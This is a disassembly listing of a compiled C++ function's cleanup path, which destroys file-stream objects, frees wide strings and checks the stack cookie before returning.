mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x308]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x30c], eax
lea ecx, [ebp - 0x2f8]
call fcn.00434fc0
mov eax, dword [ebp - 0x308]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x308]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x30c], eax
lea eax, [ebp - 0x298]
mov byte [ebp - 4], 0x2c
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.004794bf
mov byte [ebp - 4], 0x24
add esp, 4
mov edx, dword [ebp - 0xa4]
cmp edx, 8
jb 0x4211da
mov ecx, dword [ebp - 0xb8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4211d0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421534
push edx
push ecx
call fcn.0049143c
add esp, 8
xor eax, eax
mov dword [ebp - 0xa8], 0
lea ecx, [ebp - 0x530]
mov dword [ebp - 0xa4], 7
mov word [ebp - 0xb8], ax
call fcn.00421670
mov byte [ebp - 4], 0x1d
mov edx, dword [ebp - 0x8c]
cmp edx, 8
jb 0x421246
mov ecx, dword [ebp - 0xa0]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x42123c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421534
push edx
push ecx
call fcn.0049143c
add esp, 8
xor eax, eax
mov dword [ebp - 0x90], 0
lea ecx, [ebp - 0x5e8]
mov dword [ebp - 0x8c], 7
mov word [ebp - 0xa0], ax
call fcn.00421670
mov byte [ebp - 4], 0x16
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x4212ac
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4212a2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421534
push edx
push ecx
call fcn.0049143c
add esp, 8
xor eax, eax
mov dword [ebp - 0x18], 0
lea ecx, [ebp - 0x6a0]
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
call fcn.00421670
mov byte [ebp - 4], 0x10
mov edx, dword [ebp - 0x2c]
cmp edx, 8
jb 0x421309
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4212ff
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421534
push edx
push ecx
call fcn.0049143c
add esp, 8
xor eax, eax
mov dword [ebp - 0x30], 0
lea ecx, [ebp - 0x250]
mov dword [ebp - 0x2c], 7
mov word [ebp - 0x40], ax
call fcn.00421540
mov eax, dword [ebp - 0x3c0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x3c0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x3c4], eax
lea ecx, [ebp - 0x3b0]
call fcn.00434fc0
mov eax, dword [ebp - 0x3c0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x3c0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x3c4], eax
lea eax, [ebp - 0x350]
mov byte [ebp - 4], 0x2d
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.004794bf
mov byte [ebp - 4], 5
add esp, 4
mov edx, dword [ebp - 0x74]
cmp edx, 8
jb 0x4213df
mov ecx, dword [ebp - 0x88]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4213d5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421534
push edx
push ecx
call fcn.0049143c
add esp, 8
xor eax, eax
mov dword [ebp - 0x78], 0
mov word [ebp - 0x88], ax
mov eax, dword [ebp - 0x478]
mov dword [ebp - 0x74], 7
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x478]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x47c], eax
lea ecx, [ebp - 0x468]
call fcn.00434fc0
mov eax, dword [ebp - 0x478]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x478]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x47c], eax
lea eax, [ebp - 0x408]
mov byte [ebp - 4], 0x2e
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.004794bf
mov edx, dword [ebp - 0x44]
add esp, 4
cmp edx, 8
jb 0x4214a6
mov ecx, dword [ebp - 0x58]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x42149c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421534
push edx
push ecx
call fcn.0049143c
add esp, 8
xor eax, eax
mov dword [ebp - 0x48], 0
lea ecx, [ebp - 0xd0]
mov dword [ebp - 0x44], 7
mov word [ebp - 0x58], ax
call fcn.00405240
mov edx, dword [ebp - 0x5c]
cmp edx, 8
jb 0x4214fb
mov ecx, dword [ebp - 0x70]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4214f1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421534
push edx
push ecx
call fcn.0049143c
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00490dbb
mov esp, ebp
pop ebp
ret
call fcn.004b5942
call fcn.004b5942
call fcn.004b5942
call fcn.004b5942
call fcn.004b5942
call fcn.004b5942
call fcn.004b5942
int3